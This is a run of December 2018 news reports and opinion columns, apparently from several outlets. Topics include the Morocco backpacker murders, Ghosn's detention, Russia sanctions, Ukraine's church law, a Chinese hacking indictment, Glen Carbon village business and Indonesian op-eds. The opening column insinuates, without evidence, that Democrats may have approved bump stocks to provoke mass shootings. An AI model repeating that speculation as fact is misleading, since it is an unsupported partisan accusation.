for the NRA. Yet, some of the most serious decisions facilitating mass shootings took place during the Obama years. Not only do we have the scandalous approval of the sale of bump stocks, but we also have the gun-running scandal known as Operation Fast and Furious. Operation Fast and Furious occurred under the watch of Attorney General Eric Holder. It involved a sting operation ostensibly designed for the purposes of stemming the flow of U.S. guns into Mexico by allowing the purchase of illegal guns from gun shops and then tracking the movement of the guns and their use by the drug cartel. Along the way, U.S. officials lost control of the guns. Some of the guns found their way back into the United States and one was used to kill Brian Terry, a Border Patrol agent. In a familiar pattern, no one in the Obama administration was held accountable. Holder refused to release documents requested by Congress and was held in contempt of Congress. Had this been the Trump administration, we can be sure that heads would have rolled and a few persons might have gone to jail. Instead, there were no major consequences to speak of. Writing about Fast and Furious for the National Review, Ian Tuttle stated: The operation may have had an explicitly political angle. Emails obtained by CBS News in late 2011 showed ATF officials corresponding about the possibility of using Fast and Furious to push through a regulation requiring gun shops to report the sale of multiple rifles or long guns. In other words, the ATF permitted certain gun shops to conduct certain inadvisable sales to dangerous people and then planned to point to those sales to justify the need for new reporting requirements. Fast and Furious seems to have had a political motivation. Were politics behind the Obama administrations approval of the bump stocks? In a world of the ends justify the means, it makes perfect sense for political strategists to sacrifice the lives of some people in order to get a desired outcome. In the case of the Democrats, the desired outcome is greater gun control through the passage of new legislation. It isnt difficult to imagine some social-justice warrior theorizing that if enough mass shootings take place, the American people will eventually respond much as they did after 9/11. Thats when fear of terrorism resulted in the quick passage of federal legislation that empowered the government to spy on ordinary citizens. The ban on bump stocks is a step in the right direction, but it wont end mass shootings or other forms of violence in America. It wont end the violence because we live in a culture that disrespects the sanctity of human life at every stage of development. It is a culture where hatred is common, mental illness is rampant, and morality and individual responsibility take a backseat to politics. Dr. Carol M. Swain is the voice behind Be The People Newsa blog and podcast dedicated to empowering individuals to think independently, understand their responsibility, and believe in their unique ability to make a difference in the world. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. Three Men Arrested Over Bestial Backpacker Killings in Morocco: Reports Reports suggest suspects may have pledged allegiance to ISIS Two female backpackers from Norway and Denmark were killed in Morocco this week, and some officials suspect the killings are connected to the ISIS terrorist group. The Danish Louisa Jespersen, 24, and Norwegian Maren Ueland, 28, were found dead near the village of Imlil in Moroccos High Atlas Mountains. Three more people have been arrested in the bestial killings, the BBC reported, adding knife wounds were the cause of death for both. At least one of the suspects was linked to ISIS. Marokko: Zwei Rucksack-Touristinnen ermordet Louisas Mutter Helle Jespersen schrieb am Montagabend auf Facebook: Reise nie nach Marokko. Sie haben meine Tochter und ihre Freundin mit scharfen Gegenstanden geschlachtet. https://t.co/wIYGWNKJsF Aslan Kaplan (@Etrosplanetos) December 18, 2018 Denmarks PET intelligence agency stated it is investigating a video that was shared on social media, appearing to show one of the women being killed. A person is heard saying this is in revenge for our brothers in Hajin, referring to Hajin, an ISIS stronghold in Syria that was seized by American-backed forces this week. We cannot say anything at this point about the videos authenticity, PET said of the video. Moroccan authorities previously said a suspect arrested in tourist hub Marrakech on Dec. 18, was a member of a militant group, without naming the organization, reported Reuters. The Moroccan Bureau for Judicial Investigations said three more were arrested, saying a terrorist motive is likely in the slayings. The video and preliminary investigation according to the Moroccan authorities indicate that the killings may be related to the terrorist organization [ISIS], the Danish intelligence service said in a statement to the news agency. This is a case of an unusually bestial killing of two totally innocent young women, it added. Men in the video allegedly are heard shouting, Its Allahs will and some allegedly said this is for Syria, reported to the Daily Mail. Other video footage shows the suspects allegedly pledging their allegiance to ISIS and its leader, Abu Bakr al-Baghdadi. They are apparently seen sitting in front of a black and white flag, while one of the men holds a knife and says they condemn destruction caused by the warplanes of the Crusader alliance, referring to Western powers. We pledge allegiance to the Prince of Faithfuls, Ibrahim Abu Bakr al-Baghdadi, the Calif of Muslims, al-Husseini, al-Qoraychi, we will be loyal and obedient to him in the Mashreq and Maghreb, in wealth and riches and poor times, one of the men also apparently says, according to the Mail. Other reports, including Sky News, said one of the tourists was decapitated. A man, who asked to not to be named, said the two were tourists and were allegedly found decapitated, Sky News reported. The man said the women were traveling without a guide and had been camping somewhere near the Club Alpin Francais refuge at the base of Mount Toubkal. Helle Jespersen, the mother of one of the backpackers, said she urged her daughter not to go to Morocco. We advised her to go down because its such a chaotic place, and youve heard of people who have been killed down there, she told BT, a Danish paper. Her mother said her daughters throat had been cut, citing information from Danish police. I broke down, the mother said. She was always happy and positive. All people could with her and she brought out the best in everyone. The Norwegian Ministry of Foreign Affairs have been informed that a Norwegian and a Danish citizen have been found dead in the Atlas Mountains south of Marrakech, Guri Solnerh, communications adviser at the Norwegian Ministry of Foreign Affairs told ABC News. The deaths and victims identities have now been confirmed by local authorities. The officials added: We are in contact with relatives and are providing consular assistance in accordance with established practices and framework for assistance in connection with deaths of Norwegian citizens abroad. Our embassy is in contact with local authorities and representatives from the embassy are present in Marrakech. Reuters contributed to this report. Carlos Ghosn, chairman and CEO of the Renault-Nissan-Mitsubishi Alliance, on the second press day of the Paris auto show, in Paris on Oct. 3, 2018. (Regis Duvignau/Reuters) Tokyo Court Decides Not to Extend Ghosns Detention, May Release Soon TOKYOA Tokyo court on Dec. 20, unexpectedly decided not to extend the detention of Nissan Motors ousted chairman, Carlos Ghosn, meaning he may soon be released from jail where he has been confined since his arrest for alleged financial misconduct. The Tokyo District Court said it also decided against extending detention for Greg Kelly, a former Nissan executive who was first arrested along with Ghosn on Nov. 19. Lawyers for both men were not immediately available for comment. It was unclear whether prosecutors will appeal the decision. Shin Kukimoto, deputy prosecutor at the Tokyo District Public Prosecutors Office, said only that his office will respond appropriately. Ghosn has been indicted for allegedly understating his income over a five-year period from 2010. He was re-arrested on Dec. 10 for the same alleged crime covering the past three years. The 10-day detention period in the second instance ran out on Thursday. The court had widely been expected to extend the detention, as granting bail to suspects who insist on their innocence is highly unusual in Japan. Masashi Akita, a defense lawyer in Osaka, said the courts decision could reflect a change in its attitude toward detention. They are very nervous about criticism of their lenient approach toward detention. This is a typical case of such changing, I suppose, he said. I think this case has a big impact and effect on the Japanese justice practice, and such a move is favorable for the defense side. Public broadcaster NHK said Ghosn could be released on Thursday or Friday if any appeal by prosecutors is rejected by the court and bail is granted. Ghosns arrest marked a dramatic fall for a leader once hailed for rescuing Nissan from the brink of bankruptcy. He has been treated like others in detention, held in a small room. Authorities have limited his opportunities to shower and shave, a person familiar with the matter previously told Reuters. Bail Amounts It was not immediately clear how much bail would be, meaning it was still uncertain whether Ghosns release was possible. Activist fund manager Yoshiaki Murakami, arrested in 2006 for insider trading, paid an initial 500 million yen ($4.47 million) in bail. Ghosns Nissan income is at the center of allegations by Tokyo prosecutors, who have charged the executive for failing to disclose compensation that he had arranged to receive later. Nissan has said its whistleblower investigation also uncovered personal use of company funds and other misconduct. The scandal has shaken the Renault-Nissan-Mitsubishi alliance, with Nissan Chief Executive Hiroto Saikawa calling for changes to weaken Renault SAs control. Renault has so far not replaced Ghosn as head of the French carmaker, saying Ghosns compensation had been in compliance with law and governance guidelines. Documents seen by Reuters showed that executives at both Nissan and Renault were involved in discussions about compensating Ghosn out of the public eye. A Nissan spokesman declined to comment on the courts decision, saying he could only speak about the companys investigations or executive misconduct. By Kiyoshi Takenaka Treasury Imposes Fresh Sanctions on Russia, Cuts Off Oligarch The U.S. Treasury Department has imposed new sanctions on 18 Russians and four Russian entities for continued disregard for international norms. The Treasury confirmed on Dec. 19 that these Russians are accused of interfering in the 2016 U.S. presidential election, hacking into several international organizations, and attempting to assassinate a former Russian spy in the United Kingdom. The department also proposed dropping sanctions on three companies that have agreed to push out an already sanctioned Russian aluminum tycoon, Oleg Deripaska, from the position of controlling them. The sanctions targeted 15 members of a Russian military intelligence service and four entities allegedly involved in the election interference as well as the hacking of the World Anti-Doping Agency, Organization for the Prohibition of Chemical Weapons, and more. Two officers, Alexander Petrov and Ruslan Boshirov, allegedly poisoned former Russian spy Sergei Skripal and his daughter in Salisbury in March. Treasury also put Victor Boyarkin on the list for his ties to Deripaska. Boyarkin is a former intelligence officer who reports directly to Deripaska and helped provide Russian financial support to a Montenegrin political party ahead of the 2016 elections in Montenegro, the Treasury said. Deripaska himself remains sanctioned, but the Treasury plans to remove three companies he controls, En+ Group, Rusal, and EuroSibEnergo, from the list in 30 days, informing Congress to the effect. Treasury sanctioned these companies because of their ownership and control by sanctioned Russian oligarch Oleg Deripaska, not for the conduct of the companies themselves, Treasury Secretary Steven Mnuchin said in a press release. These companies have committed to significantly diminish Deripaskas ownership and sever his control. In April, the Treasury imposed sanctions on Deripaska, aluminum giant Rusal, En+, and other companies he has a stake in, citing malign activities by Russia, prompting a price spike in global aluminum markets. After lobbying by European governments, Washington postponed enforcement of sanctions and started talks with Deripaskas team on removing Rusal and En+ from the blacklist, if he ceded control of Rusal. To date, President Donald Trumps administration has sanctioned 272 Russia-related individuals and entities. Reuters contributed to this report. Members of the Ukrainian Orthodox Church of the Moscow Patriarchate attend a public prayer in front of the parliament building in Kiev, Ukraine, on Dec. 20, 2018. (Reuters/Gleb Garanich) Ukraine May Force Church to Add Russian to Its Name KIEV, UkraineUkrainian MPs passed a law Dec. 20 that could force a Moscow-backed church in Ukraine to add Russian to its name, with the aim of curbing the influence of priests whom authorities call a threat to national security. Ukraine on Dec. 15 created a new Orthodox church independent from Moscow, which leaders have lobbied for since the fall of the Soviet Union in 1991 and Kiev says is a vital step to blunt Russian meddling in its affairs. The move incensed Moscow, and prompted President Vladimir Putin to warn of possible bloodshed in his annual press conference. Relations between Ukraine and Russia collapsed after Moscows seizure of Crimea in 2014. Authorities in Kiev have cracked down on priests in the church known widely as the Moscow Patriarchate, which has been beholden to Russia for centuries, and accuse them of spreading pro-Kremlin propaganda and aiding separatist fighters. The church strongly denies the claim. The Moscow Patriarchate typically calls itself the Ukrainian Orthodox Church and sees itself as the only true church in Ukraine. It opposes the creation of a new church and has labeled those wanting to join the new church as schismatics. The new legislation obliges a religious organization, whose governing center is based abroad in a country waging war against Ukraine or occupying its territory, to change its name to reflect that. The new law could, for example, force the churchs name to be changed to the Russian Orthodox Church in Ukraine. For more than 300 years, generations of Ukrainians have dreamed of a Ukrainian church. This is a broader question than a religious one, this is a question of the security and defense of our country, Speaker Andriy Parubiy told Parliament. There is no question that the church that blesses weapons, the killers of Ukrainians, should not bear the name of Ukraine, he said. The Ukrainian Orthodox Church (Moscow Patriarchate) called on President Petro Poroshenko to veto the bill, which it said was discriminatory and could lead to unpredictable consequences in society. As we see, this bill does not mention the Ukrainian Orthodox Church, but from public statements, it is known that the intention is to apply it to the Ukrainian Orthodox Church in order to please the newly formed religious association Orthodox Church of Ukraine, which wants to take its name. Other laws are in the works, including one by which a religious organization must consult with the authorities on its leaders and on visitors from abroad. Another law would make it easier for a religious community to switch its affiliation, potentially making it easier for parishes to join Ukraines new national church and abandon the once-dominant Moscow Patriarchate. Some MPs opposed the laws and lawmakers briefly came to blows after the vote. Vadim Novinsky of the Opposition Bloc, the heir to pro-Russian former President Viktor Yanukovichs Party of Regions, said: These are bills aimed at the destruction of the canonical Ukrainian Orthodox Church. The Moscow Patriarchate has been dominant in Ukraine, but has been challenged by a rival known as the Kiev Patriarchate, formed after the 1991 breakup of the Russian-dominated Soviet Union. Support for the Kiev Patriarchate swelled after the annexation of Crimea. It supported church independence and Ukraines closer integration with the West. Metropolitan Oleksandr, a high-profile defector from the Moscow Patriarchate to the new church, estimates that 40 percent to 70 percent of Moscow Patriarchate churches will join. The Moscow Patriarchate says only a tiny fraction will, and last weekend pointed to that fact that only Oleksandr and one other high-ranking church official had joined the council that met to form the new church, which will include the Kiev Patriarchate. By Natalia Zinets US Slams China for Corporate Cyber Espionage, Indicts Two Spies WASHINGTONU.S. prosecutors unsealed an indictment on Dec. 20 that charged two Chinese nationals with computer hacking attacks on a wide range of American government agencies and corporations including the Navy and the space agency NASA, according to a court filing. The two, identified as Zhu Hua and Zhang Jianguo, worked in China to hack into computers to steal intellectual property and confidential business and technological data, according to the indictment. U.S. authorities said the two worked in association with Chinas Ministry of State Security. The United States and about a dozen allies were set on Thursday to condemn China for efforts to steal other countries trade secrets and technologies and to compromise government computers, according to a person familiar with the matter. Australia, Britain, Canada, Japan, the Netherlands, New Zealand and Sweden are expected to be involved in the U.S. effort, according to the source, who spoke on condition of anonymity. The U.S. indictment said hacking targets included the U.S. Navy, the National Aeronautics and Space Administration and companies involved aviation, space and satellite technology. Chinas goal, simply put, is to replace the U.S. as the worlds leading superpower and theyre using illegal methods to get there, FBI Director Chris Wray said at a news conference. The companies targeted by China were a whos who of American businesses, Wray said. The Justice Department accused China of breaking a 2015 pact to curb cyber espionage for corporate purposes. Britain also said it would hold the Chinese government responsible for the global hacking campaign targeting commercial secrets in Europe, Asia and the United States. The hacking effort is considered a major cyber threat by private-sector cybersecurity researchers and government investigators because of the scale of the intrusions. The hackers were charged with spying on some of the worlds largest companies by hacking into technology firms to which they outsource email, storage and other computing tasks. Over the past several years, as companies around the globe have sought to cut down information technology spending, they have increasingly relied on outside contractors to store and transfer their data. When a managed service provider is hacked, it can unintentionally provide attackers access to secondary victims who are customers of that company and have their computer systems connected to them, according to experts. The British government said in a statement the hacking was conducted by a group known as APT 10, which was acting on behalf of Chinas Ministry of State Security. This campaign shows that elements of the Chinese government are not upholding the commitments China made directly to the UK in a 2015 bilateral agreement, the British statement said. By Diane Bartz & Christopher Bing A paramilitary guard outside a Ukrainian military base in the town of Perevevalne near the Crimean city of Simferopol on March 11, 2014. (Spencer Platt/Getty Images) We Need Detente With Russia Over Ukraine Commentary With the recent military standoff between the Ukrainian and Russian navies in the Black Seathe Russians building up forces along their border with Ukraine, and the implementation of martial law in a third of Ukrainian oblastsobservers are waiting to see if this will pass or escalate the relative standstill in the war in Donbass. What the United States and Russia must do to quell the unease in this situation is come to an agreement on a clear and permanent establishment of land and maritime borders between the Russian Federation and the Republic of Ukraine. Since the Russian seizure of Crimea and the establishment of two pro-Russia breakaway states in eastern Ukraine, agreement over territorial control is fuzzy at best. This needs to end in order to ensure stability. To understand the current set of events, we need to rewind back to 2014. We should remember that before the Euromaidan revolution in February 2014, the Ukrainian president, Viktor Yanukovych, was very much under the influence of Vladimir Putins Russia. After his ouster, a new, anti-Russian government took power, which eventually led to the election of current pro-West President Petro Poroshenko. Shortly thereafter, Russias annexation of Crimea through masked Russian troops without insignias was a last-ditch attempt to scoop up wherever they could after their puppet government in Ukraine collapsed. Crimea, being majority ethnic Russian, was overwhelmingly in favor of the annexation. Additionally, Crimea plays a strategically important positional role for Russias military, as it has hosted the Russian Black Sea fleet in the city of Sevastopol since the years of the Russian Empire. Following the dissolution of the Soviet Union, the Ukrainian government allowed the Russian Navy to lease former Soviet naval facilities in the country until 2017. In 2010, the Yanukovych government extended the lease until 2042, but this became null after the annexation of the Crimean Peninsula. The uprisings that followed in the oblasts of Luhansk and Donetsk were backlashes of the Ukrainian revolution and the Crimean annexation, as those regions have large ethnic Russian populations as well. The whole world knows without a doubt that the Russians are arming the rebel groups in these regions, which have set up their own de facto nation-states in their areas of control (the Peoples Republic of Luhansk and the Peoples Republic of Donetsk). This gives Russia a little more control of the land they lost after Yanukovychs ouster. The reality is, for the indefinite future, Crimea will be a part of the Russian Federation and the two Peoples Republics will be under de facto Russian control. Agreements and Concessions The positive aspect from a Western perspective is that now, instead of the entirety of Ukraine being under Russian influence, only three small regions in the eastern part of the country are. What we can do is try to maintain the fragile, but largely holding, ceasefire between Ukraine and the two breakaway regions. By having a dialogue with Russia, mutual exchanges and agreements can be made that the United States, Ukraine, and Russia would most likely agree on. The first point of agreement would be that the United States, Ukraine, and NATO should cease pressure on Russia to return Crimea to Ukraine. It will most likely never be returned, and it is a waste of energy to try to gain it back. The population of Crimea is overwhelmingly Russian and identify with Russia, not Ukraine. The only reason why Crimea ended up under Ukrainian control was due to a botched land transfer in 1954 by then-Soviet Premier Nikita Khrushchev from the Russian SSR to the Ukrainian SSR. Recognizing Crimea as a legitimate part of the Russian Federation would be a win for Russia, but in exchange, the Russians must concede something. The maintaining of the current ceasefire lines decided in the 2015 Minsk II Protocol between the Republic of Ukraine and the two Peoples Republics should be upheld for an indefinite time until a future border can be agreed upon by both sides. In exchange for this, Russia should agree to allow the remainder of Ukraine to join NATO as a permanent member. As the current Ukrainian government is currently very anti-Russia, pro-West, and has been conducting military exercises with the United States, this scenario has a high likelihood of happening. President Donald Trumps arming and support of Ukraine has been much more overt and aggressive than former President Barack Obamas. In addition to this, the establishment of U.S. military installations in Ukraine to counterbalance the Russian military presence in Crimea should be a staple of this agreement. Many factors are at play in this potential agreement. Poroshenko is up for re-election next March and is suffering from low approval ratings due to allegations of corruption. Following the incident, he may hamper efforts to secure a deal with Russia in order to avoid looking weak and conceding to Putins demands by giving away Crimea, Luhansk, and Donetsk. However, this may work in Ukraines favor. By playing a strong hand at the negotiating table, Poroshenko, with the backing of Trump and Secretary of State Mike Pompeo, may be able to placate Ukrainian voters by securing a deal that makes him come out looking strong. Additionally, with the Mueller investigation still underway in the United States and the public eye on Trump, securing a deal like this would make Trump look pragmatic about the situation while still maintaining a strong stance against Russia. This would also play in Trumps favor, as the 2020 election season is looming ahead. This agreement would be a zero-sum scenario, as both sides would receive something they want, and lose something they want. It may not be an even exchange, but it will ease tensions between the two major powers and ensure the safety of Ukraine under U.S. protection while Crimea and the Peoples Republics would be under Russian protection. Ensuring stability in this region is vital to the interests of the United States and Europe, and would be the most realistic scenario to resolve this four-year territorial dispute, while leaving all parties involved with something to walk away from the table with. Ian Henderson is a contributor to Shield Society, former director of outreach for The Millennial Review, and former development coordinator for PragerU. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. NORWALK Though Jason Milligans plans to build apartment units on the third floor of the Fairfield County Bank building at 67 and 69 Wall St. were quashed, the Norwalk developer closed on the purchase of the buildings lodged between the stalled Wall Street Place development and the Wall Street Theater. I decided to buy it anyway, Milligan said. Fairfield County Bank is going to consolidate down to a much smaller branch at the front corner of 69 Wall St. GLEN CARBON At the end of its Dec. 11 Village Board meeting, Glen Carbon closed a chapter on the 20th century and opened one on the 21st. Starting next month, the Village Board meetings will be streamed on Facebook Live instead of using Edwardsville City Television (ECTV). Instead of two cameras in the boardroom, there will be a single camera at the back of the room that can zoom in or out but will not pan left or right nor tilt up and down. Glen Carbon Village Administrator Jamie Bowden said the village had used ECTV since January 1999. ECTV shot videos and recorded them to CDs, which the village then uploaded online. The village made the switch because we can live-stream directly to our Facebook page and download a link within 24 hours, so theres no need for a third party, Bowden said. ECTV has provided us a great service, but technology has allowed us to manage this more expediently and more cost-effectively. Coleen Schaller, the villages public safety administrative supervisor, said the change is part of a broader effort to modernize how the village communicates with its residents and businesses. We have been doing a lot of social media expansion, she said. Its an instant connection to the community, which is nice. The villages police department is on Facebook and Instagram. So far, our feedback has been excellent, she said. She said posters will cross-post things between the two platforms. I have received a lot of legacy photos. A popular use has been to publicize the villages warming centers during the winter and its cooling centers during the summer. Another popular aspect has been to take photos of lost dogs and post them on the villages pages. Usually, within an hour, the owner is here to claim their pet, she said. For 2019, Schaller said she hopes to do more with photos and obtain more followers. I also want to reach out to local businesses to share information and share whats happening here, she said. GLEN CARBON On Tuesday, during its final meeting of 2018, the Village Board unanimously approved a five-year, lump sum engineering service with Thouvenot (thoo-ven-oh), Wade & Moerchen (TWM) to set up a pavement maintenance program in light of aging roadways. The program will cost $107,250 or $21,450 per year. The Pavement Management system is meant to be a fluid program that may change from year-to-year depending upon how our villages roadways have aged, said Jennifer Doody, the villages public works director. She explained there are many factors that weigh into how a road deteriorates the type of pavement and sub-base material, age, type, traffic load, and maintenance history. We are really excited to implement this program and feel that it will provide our residents with a transparent, science-based roadway rehabilitation plan, she said. This program will rank all of our streets and will be reviewed annually to allow the village to better program maintenance and focus our limited funds on the neediest roadways each year, Doody said. First, TWM will create a pavement inventory using Geographic Information System (GIS) from the current pavement management program and the villages current GIS platform. Next, they will convert the current pavement ratings into a Pavement Condition Index (PCI) rating system. Jeff Rice, a TWM project manager, said the software ranks streets using PCI that goes from zero (the worst) to 100 (the best). After the conversion, TWM employees will perform a drive-through visual assessment. The inspections TWM uses vary from a simple windshield one to a detailed walk-through to using a van with specialized cameras to view pavement distress via high-resolution images. The survey works on asphalt or concrete streets and notes potholes, wavy or bumpy roads and those with cracked, broken or eroded pavement. Once the streets are ranked, we can develop a capital improvement plan for the village, Rice said. TWM employees will analyze the pavement ratings to create an annual transportation improvement plan. Rice said TWM hopes to start surveying village streets in January and it should be finished by late spring or early summer. TWM will send its survey data to Glen Carbon officials for review then the design phase will begin in late 2019. Rice added that as of now, TWM envisions street construction starting in 2020. TWM will re-inspect all village streets once between the second and fifth years to ensure the ratings are up-to-date, provide an annual report with program updates, cost estimates and maps and give the Village Board an annual presentation discussing the program. The inventory and rankings will become part of the Pavement Management (PM) system using the villages existing GIS database. TWM staff also use MicroPAVER, specialized pavement management software, to build inventory and analyze data. Another software program, FieldInspector, collects the pavement distress data. Other area projects TWM has engaged in include a PM system for the city of Shiloh, PM for Collinsville and Grotefendt roads, Poplar Street reconstruction in Mascoutah and Route 159 pavement micro-surfacing. In other news, the village council: Unanimously approved a contract with Granicus for NovusAGENDA meeting software designed to reduce paper usage. The cost is $7,630 and includes, set-up, configuration, and online training. The village is also eligible to receive up to five two-day passes to the 2019 Granicus National Summit, which will take place May 14-15, 2019 in Washington, D.C. Voted 5-2 to approve a letter providing no objection to the city of Edwardsville annexing portions of Madison County Transits Goshen and Nickel Plate trails in accordance with the boundary agreement. Board members Steve Slemer and Walter Harris voted no. Unanimously adopted the village budget for the 2019 fiscal year, which starts Jan. 1. Unanimously passed an ordinance establishing the tax levy and 2018 tax assessments in the amount of $2.89 million. Scott Borror, director of finance said the levy reflects an increase from the 2017 tax extension of $99,989 or 3.6 percent. Based on an estimated 4.5 percent increase in the villages rate-setting Equalized Assessed Valuation (EAV) to $375.7 million, officials anticipate the rate to drop slightly. Borror said the actual EAV and tax rate will be set in the spring. Unanimously approved an agreement between Glen Carbon and Great Rivers & Routes Tourism Bureau, costing $25,000. Unanimously approved an agreement between the village and Motorola Solutions for 43 portable and mobile radios for the police department. The current radio system has reached the end of its service life. If the Village Board signs a purchase agreement prior to Dec. 21, it would save $30,000. The next Village Board meeting will be Jan. 8, 2019 at 7 p.m. Share this article Whatsapp Facebook Twitter Linkedin Mi Zhou (The Jakarta Post) Jakarta Thu, December 20, 2018 As we celebrate International Migrants Day, it is important to recall that Dec. 18 is chosen to mark the signing of the International Convention on the Protection of the Rights of All Migrant Workers and Members of Their Families. Indonesia signed the treaty in 2004 and ratified it in 2012. The treaty, however, does not apply to migrant fisherfolk and seafarers who work on board vessels registered to states of which they are not nationals. This is a significant weakness for the protection of migrant fishers, and is not unique to this treaty. The protection regime for migrant workers has evolved from the needs, as well as the advocacy, of land-based workers: Domestic workers, construction workers, workers in factories and farms. The protection of sea-based workers fishers and seafarers also involve more complicated jurisdictional issues. Their workplace the vessel is mobile, it can be registered in one country, owned by corporations registered in another country, and can travel the waters of many more. The traditional language developed around the protection of land-based migrant workers or human trafficking often fall short of being able to reflect these complexities of at-sea migrant work. While land-based migrant workers outnumber sea-based ones, migrant fishers contribute significantly to the fisheries sector. Demand for fish globally is increasing, as population and per capita human consumption of fish both grow. Nearly 78 percent of the fishers are located in Asia, around 30 million people. In Southeast Asia, Indonesia and Myanmar have the highest number of fishers in marine capture fisheries: 2.2 million and 1.4 million people respectively. The fisheries sector is also important to the economy of Southeast Asia: Indonesia, Thailand, and Vietnam are among the worlds top fish and seafood exporters. The brutal realities of these weaknesses in protection have now been widely reported from Thailand and Indonesia. In 2015, the Indonesian government rescued over 1,000 stranded migrant fishers from the remote islands of Ambon and Benjina. Since then, Indonesia has taken steps to reduce the risks of human trafficking in the fisheries sector by introducing new regulation including the requirement for fisherfolks work agreements, banning transhipment, and stopping foreign vessels from fishing in its waters. Thailand has also introduced significant reforms to its commercial fishing fleet since 2014, and is the first country in Southeast Asia to decide to ratify the International Labor Organizations (ILO) Work in Fishing Convention and adopt the Forced Labor Protocol. These efforts contain the seeds of an effective response to end the exploitation and human trafficking of migrant fishers. However, to tackle the transnational nature of the problem while still fostering a competitive fisheries sector, governments must pursue two broad strategies: First, to address underlying issues of working conditions for all fishers including migrant fishers; second, to strengthen regional coordination to overcome jurisdictional challenges and combat modern slavery at sea. Ensuring minimum standards in working and living conditions on fishing vessels will reduce the risks of exploitation for migrant fishers when they reach their workplace. A coordinated regional strategy for migrant fishers can address the additional vulnerabilities that migrant fishers face during the recruitment and placement process. A regional protocol on issues such as labor inspections for foreign fishing vessels in ports and sharing of maritime data can also improve the monitoring of working conditions on vessels. In the absence of an international treaty that addresses the particular needs of sea-based migrant workers, the ILOs Work in Fishing Convention sets out the minimum protection of fisher and migrant fishers in their working and living conditions. The newly launched Southeast Asian Forum for Fishers, led by Indonesia, is an important step toward coordinated regional action on these issues. Without urgent and effective changes in the fisheries sector, millions of fishers and migrant fishers from Southeast Asia remain at risk of modern slavery at sea. And we, as consumers, remain complicit in their suffering. *** The writer is project manager of the ILO SEA Fisheries Project. The views expressed are personal and do not necessarily reflect the position of the ILO or any of its members or constituents, or constitute any kind of endorsement. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post. Share this article Whatsapp Facebook Twitter Linkedin Ida Bagus Made Bimantara (The Jakarta Post) Jakarta Thu, December 20, 2018 The fatal attack on 31 civilians by the armed wing of a Papuan separatist group in Nduga, Papua on Dec. 2 is so far the deadliest in the groups long and often brutal campaign to gain international attention. As reported in Papuas newspaper, Tabloid Jubi, shortly after the massacre, the separatist groups leader, Benny Wenda, was quick to label the killing of 17 people, identified as workers of state construction company PT Istaka Karya, as government propaganda. This statement is bizarre given that the National Liberation Army of West Papua (TPN-PB), which claims responsibility for the murders, and the spokesperson for the West Papua National Committee (KNPB), Victor Yeimo, openly support the armed unit of the group and call them our military. Wenda, a United Kingdom national with a Papuan heritage, is the leader of the United Liberation Movement for West Papua (ULMWP), an umbrella organization bringing together the political and armed wings of the group. Contrary to The Guardian report of Dec. 6, the deadly attack on civilians is not the first the group has perpetrated. The BBC has documented a number of fatal attacks the group has committed against civilians in the past, including the killing of Yovicko Sondakh, a worker on the trans-Papua road project, in December 2017. In the same year, the group was involved in the kidnapping of dozens of primary and secondary school teachers and the medical staff of a health clinic in Mapenduma, Nduga. The record of murders and abduction stretches as far back as 1986 when the then leader of the groups armed wing, Kelly Kwalik, led a unit to kidnap and murder eight people and in 1996 instigated the Mapenduma incident when the group took 26 researchers, including American and British nationals, hostage and brutally killed two of them. To obtain international attention and sympathy the group has also persistently accused the government of committing genocide involving half a million Papuans. This baseless accusation was debunked by Sidney Jones in an International Crisis Group report in 2006 and separately by a University of Sydney study in 2016. Another false claim often spread by the group is that the people of Papua do not enjoy political freedom. This accusation cannot be further from the truth as the fact is that the Papua and West Papua provinces enjoy and practice routine and internationally recognized free, fair and open elections. Furthermore, as part of its holistic approach, the government is working to resolve past human rights abuses and to put safeguards in place to prevent future incidents of abuse. However, the group appears intent on hindering and undermining any attempt by the government to resolve issues in Papua and develop the region for the benefit of the locals. To that end, the group employs inhuman tactics to terrorize and force entire villages to believe in its narrative. The June shooting of an airplane carrying personnel to assist in the local elections injuring two people, the kidnappings, the latest murders and many other incidents all fit into that pattern. To further reinforce its narrative, the group exploits the race card to push the argument that Papua should not be part of Indonesia, but the Melanesian nation. The treasurer of the ULMWP, Paula Makabory, an Australian of Papuan descent, stated to ABC Australia that We [Papuans] are not Asians. Geographically and culturally we are Melanesians. What the group fails to mention is that demographically, Indonesia is a multi-ethnic and multicultural nation with the majority of its population having an Austronesian (including Javanese, Sumatrans, Malays and Dayaks) or Melanesian origin. Indonesia sits beside the Pacific and its five Melanesian provinces of East Nusa Tenggara, Maluku, North Maluku, Papua and West Papua are populated by 11 million people. These easternmost provinces jut and form a natural sea and land bridge into the South Pacific. Besides demography, there are many similarities between Indonesia and the Pacific Island countries, including with the majority Melanesian countries and territories of Fiji, New Caledonia, Papua New Guinea, Solomon Islands and Vanuatu. All of them consist of a number of islands, big and small, facing constant threats from natural disasters and climate change. They also face the challenge of connecting islands spread throughout the vast South Pacific Ocean. Vast distances increase transportation costs and erode trade competitiveness. Instead of putting the interests of Papuans first, including by supporting efforts to build and bring prosperity and justice to Papua, the separatist group chose a disgraceful path. Murdering innocent civilians working on an infrastructure project that will ultimately benefit Papuans is a despicable act that must be strongly condemned by ethnic Papuans, other Indonesians and the international community. *** The author is deputy director for East Asia and the Pacific at the Foreign Ministry. The views expressed are his own. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post. Share this article Whatsapp Facebook Twitter Linkedin Editorial Board (The Jakarta Post) Jakarta Thu, December 20, 2018 08:57 1078 75e76da2d15e495661b6357e2e31e937 1 Editorial #Editorial,pluralism,intolerance,democracy,Yogyakarta,minority-rights Free In recent years, we have seen many cases of intolerance in the country. The list is so long that it has now become a cliche to lament the fact that the very idea of Indonesia as a nation that embraces cultural and religious diversity is a thing of the past, and that another incident of intolerance will no longer shock us. That notion was proven wrong on Tuesday when it was reported that residents of Purbayan, a subdistrict in Kotagede, Yogyakarta, had cut off the top of the cross-shaped gravestone of a Catholic man simply because the local community had reached a consensus that there should be no Christian symbols in their cemetery. The incident has sparked outrage among many, who have, once again, been forced to ask themselves the 